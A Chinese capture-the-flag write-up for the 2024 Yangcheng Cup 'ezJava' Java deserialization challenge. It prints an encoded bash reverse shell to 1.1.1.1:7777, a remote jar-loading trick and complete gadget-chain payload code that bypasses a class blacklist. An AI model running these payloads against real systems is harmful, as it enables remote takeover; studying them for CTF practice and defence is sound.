2024羊城杯ezJava EventListenerList新链反序列化

ezjava

题目直接给了jar包,对源码进行分析

pom.xml文件如下

<dependencies>  
    <dependency>       
     <groupId>org.springframework.boot</groupId>  
        <artifactId>spring-boot-starter-web</artifactId>  
    </dependency>    
    <dependency>        <
    groupId>org.apache.shiro</groupId>  
        <artifactId>shiro-core</artifactId>  
        <version>1.2.4</version>  
    </dependency>    
    <dependency>      
      <groupId>org.apache.shiro</groupId>  
        <artifactId>shiro-spring</artifactId>  
        <version>1.2.4</version>  
    </dependency>   
     <dependency>       
      <groupId>org.mariadb.jdbc</groupId>  
        <artifactId>mariadb-java-client</artifactId>  
        <version>2.7.2</version>  
    </dependency>    
    <dependency>        
    <groupId>org.springframework.boot</groupId>  
        <artifactId>spring-boot-starter-test</artifactId>  
        <scope>test</scope>  
    </dependency>    

    <dependency>       
     <groupId>org.springframework.boot</groupId>  
        <artifactId>spring-boot-starter-thymeleaf</artifactId>  
    </dependency>
    </dependencies>

lib中jar包如下

MyObjectInputStream类过滤了下方这些类,注意是通过resolveClass的方式获取classname,所以无法通过UTF8 Overlong Encoding的方式绕过

"java.lang.Runtime"  
"java.lang.ProcessBuilder"  
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"  
"java.security.SignedObject"  
"com.sun.jndi.ldap.LdapAttribute"  
"org.apache.commons.beanutils"  
"org.apache.commons.collections"  
"javax.management.BadAttributeValueExpException"  
"com.sun.org.apache.xpath.internal.objects.XString"

User嘞通过反射的方式调用了URLClassLoader#addURL(this.username)方法,但是ban了 http​和 file​ 之前做过,想到用jar​协议来绕开并且远程加载jar包即可

shiro 部分对路径匹配限制死

那么我们目前的攻击思路是:

  1. 本地构造一个Calc类,让这个类的static、readObject方法里放上反弹shell的代码

  2. 利用admin、admin888登录到后台

  3. 通过/user/ser接口反序列化触发User#getGift方法,把远程jar包路径添加到URLClassLoader里

  4. 再次通过/user/ser接口触发Calc类的反序列化,此时服务器默认不存在Calc类,但是会去远程jar包里找,最终初始化Calc类完成反弹shell
    编译恶意exp.java为java包

javac exp.java  
jar -cvf exp.jar exp.class
import java.io.IOException;  
import java.io.ObjectInputStream;  
import java.io.Serializable;  

public class exp implements Serializable {  
    static String code = "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}";  
    static {  
        try {  
            Runtime.getRuntime().exec(code);  
        } catch (IOException e) {  
            throw new RuntimeException(e);  
        }  
    }  

    private void readObject(ObjectInputStream in) throws Exception {  
        Runtime.getRuntime().exec(code);  
    }  
}

由于waf我不能通过BadAttributeValueExpException来到getter

BadAttributeValueExpException#readObject -> POJONode#toString -> getter

方法一

javax.swing.UIDefaults.TextAndMnemonicHashMap->toString

找了一条新的tostring链子(javax.swing.UIDefaults.TextAndMnemonicHashMap),可以通过hashmap(readobject)触发tostring

gadget如下:

public static HashMap maskmapToString( Object o1,  Object o2) throws Exception{
        Map tHashMap1 = (Map) createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
        Map tHashMap2 = (Map) createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
        tHashMap1.put(o1,null);
        tHashMap2.put(o2,null);
        setFieldValue(tHashMap1,"loadFactor",1);
        setFieldValue(tHashMap2,"loadFactor",1);
        HashMap hashMap = new HashMap();
        Class node = Class.forName("java.util.HashMap$Node");
        Constructor constructor = node.getDeclaredConstructor(int.class, Object.class, Object.class, node);
        constructor.setAccessible(true);
        Object node1 = constructor.newInstance(0, tHashMap1, null, null);
        Object node2 = constructor.newInstance(0, tHashMap2, null, null);
        Field key = node.getDeclaredField("key");
        Field modifiers = Field.class.getDeclaredField("modifiers");
        modifiers.setAccessible(true);
        modifiers.setInt(key, key.getModifiers() & ~Modifier.FINAL);
        key.setAccessible(true);
        key.set(node1, tHashMap1);
        key.set(node2, tHashMap2);
        Field size = HashMap.class.getDeclaredField("size");
        size.setAccessible(true);
        size.set(hashMap, 2);
        Field table = HashMap.class.getDeclaredField("table");
        table.setAccessible(true);
        Object arr = Array.newInstance(node, 2);
        Array.set(arr, 0, node1);
        Array.set(arr, 1, node2);
        table.set(hashMap, arr);
        return hashMap;
    }

注意 urlclassLoader的使用绕过用法:"jar:http://vps:8999/exp.jar!/"

恶意类如下:

import java.lang.reflect.Method;  
import java.net.URL;  
import java.net.URLClassLoader;  

public class URLClassLoaderAddURLTest {  
    public static void main(String[] args) throws Exception{  
        String gift ="jar:http://vps:8999/exp.jar!/";  
        URL url1 = new URL(gift);  
        Class<?> URLclass = Class.forName("java.net.URLClassLoader");  
        Method add = URLclass.getDeclaredMethod("addURL", URL.class);  
        add.setAccessible(true);  
        URLClassLoader classloader = (URLClassLoader)ClassLoader.getSystemClassLoader();  
        add.invoke(classloader, url1);  
    }  
}

payload Exp.java

import com.example.ycbjava.bean.User;  
import com.fasterxml.jackson.databind.node.POJONode;  
import javassist.ClassPool;  
import javassist.CtClass;  
import javassist.CtMethod;  
import sun.misc.Unsafe;  

import java.io.ByteArrayOutputStream;  
import java.io.IOException;  
import java.io.ObjectOutputStream;  
import java.lang.reflect.Field;  
import java.util.Base64;  
import java.util.HashMap;  
import java.util.Map;  

public class Exp {  
    public static void main(String[] args) throws Exception{  
        User user = new User();  
        user.setUsername("jar:http://vps:8999/exp.jar!/");  
        // 删除 BaseJsonNode#writeReplace 方法用于顺利序列化  
        ClassPool pool = ClassPool.getDefault();  
        CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");  
        CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");  
        ctClass0.removeMethod(writeReplace);  
        ctClass0.toClass();  

        POJONode node = new POJONode(user);  

        HashMap hashMap = makeHashMapByTextAndMnemonicHashMap(node);  

        byte[] bytes = serialize(hashMap);  
        System.out.println(Base64.getEncoder().encodeToString(bytes));  
    }  
    public static byte[] serialize(Object obj) throws IOException {  
        ByteArrayOutputStream baos = new ByteArrayOutputStream();  
        ObjectOutputStream oos = new ObjectOutputStream(baos);  
        oos.writeObject(obj);  
        return baos.toByteArray();  
    }  
    public static HashMap makeHashMapByTextAndMnemonicHashMap(Object toStringClass) throws Exception{  
        Map tHashMap1 = (Map) getObjectByUnsafe(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));  
        Map tHashMap2 = (Map) getObjectByUnsafe(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));  
        tHashMap1.put(toStringClass, "123");  
        tHashMap2.put(toStringClass, "12");  
        setFieldValue(tHashMap1, "loadFactor", 1);  
        setFieldValue(tHashMap2, "loadFactor", 1);  
        HashMap hashMap = new HashMap();  
        hashMap.put(tHashMap1,"1");  
        hashMap.put(tHashMap2,"1");  

        tHashMap1.put(toStringClass, null);  
        tHashMap2.put(toStringClass, null);  
        return hashMap;  
    }  
    public static Object getObjectByUnsafe(Class clazz) throws Exception{  
        Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");  
        theUnsafe.setAccessible(true);  
        Unsafe unsafe = (Unsafe) theUnsafe.get(null);  
        return unsafe.allocateInstance(clazz);  
    }  
    public static void setFieldValue(Object obj, String key, Object val) throws Exception{  
        Field field = null;  
        Class clazz = obj.getClass();  
        while (true){  
            try {  
                field = clazz.getDeclaredField(key);  
                break;  
            } catch (NoSuchFieldException e){  
                clazz = clazz.getSuperclass();  
            }  
        }  
        field.setAccessible(true);  
        field.set(obj, val);  
    }  
}

方法二

EventListenerList(readobject)->tostring

toString 的新链: EventListenerList利用链

EventListenerList.readObject -> POJONode.toString -> ConvertedVal.getValue -> ClassPathXmlApplicationContext.<init>

分析EventListenerList链子

javax.swing.event.EventListenerList#readObject

先来看readobject调用add方法

非常巧妙的是在 Object 进行拼接的时候会自动触发该对象的toString方法

javax.swing.undo.UndoManager#toString

该类实现了 UndoableEditListener 接口,而该接口继承java.util.EventListener

观察toString类limit 与 indexOfNextAdd 都是int类型,那么就跟进到父类
javax.swing.undo.CompoundEdit#toString

发现protected Vector<UndoableEdit> edits;,其余均是boolean类型

java.util.Vector#toString

直接返回了super.toString();,跟进java.util.AbstractCollection#toString

发现StringBuilder的append方法

跟进发现可以控制调用obj的toString,链子非常巧妙!

构造payload如下:

package org.example;

import com.example.ycbjava.bean.User;

import com.fasterxml.jackson.databind.node.POJONode;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

import java.lang.reflect.Field;

import java.util.Base64;
import java.util.Map;
import java.util.Vector;

import javassist.ClassPool;

import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;


public class Main {
    public static void main(String[] args) throws Exception {
        String gift = "url:file:/templates/shell.jar";
        User user = new User();
        user.setUsername(gift);

        ClassPool pool = ClassPool.getDefault();
        POJONode pojoNode = new POJONode(user);

        //EventListenerList --> UndoManager#toString() -->Vector#toString() --> POJONode#toString()
        EventListenerList list = new EventListenerList();
        UndoManager manager = new UndoManager();
        Vector vector = (Vector) getFieldValue(manager, "edits");
        vector.add(pojoNode);
        setFieldValue(list, "listenerList", new Object[] { Map.class, manager });

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(list);

        String ser = Base64.getEncoder()
                           .encodeToString(byteArrayOutputStream.toByteArray());
        System.out.println(ser);

        user.getGift();

        byte[] decode = Base64.getDecoder().decode(ser);
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        baos.write(decode);

        ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(
                    baos.toByteArray()));
        objectInputStream.readObject();
    }

    public static void setFieldValue(Object obj, String fieldName, Object value)
        throws Exception {
        Class<?> clazz = obj.getClass();
        Field field = clazz.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static Object getFieldValue(Object obj, String fieldName)
        throws NoSuchFieldException, IllegalAccessException {
        Class clazz = obj.getClass();

        while (clazz != null) {
            try {
                Field field = clazz.getDeclaredField(fieldName);
                field.setAccessible(true);

                return field.get(obj);
            } catch (Exception e) {
                clazz = clazz.getSuperclass();
            }
        }

        return null;
    }
}
2 条评论
某人
表情
可输入 255
Unam4
2024-09-29 15:08 湖北 0 回复

和我写的还真像


1910804882936352
2024-09-11 01:29 内蒙古 1 回复

1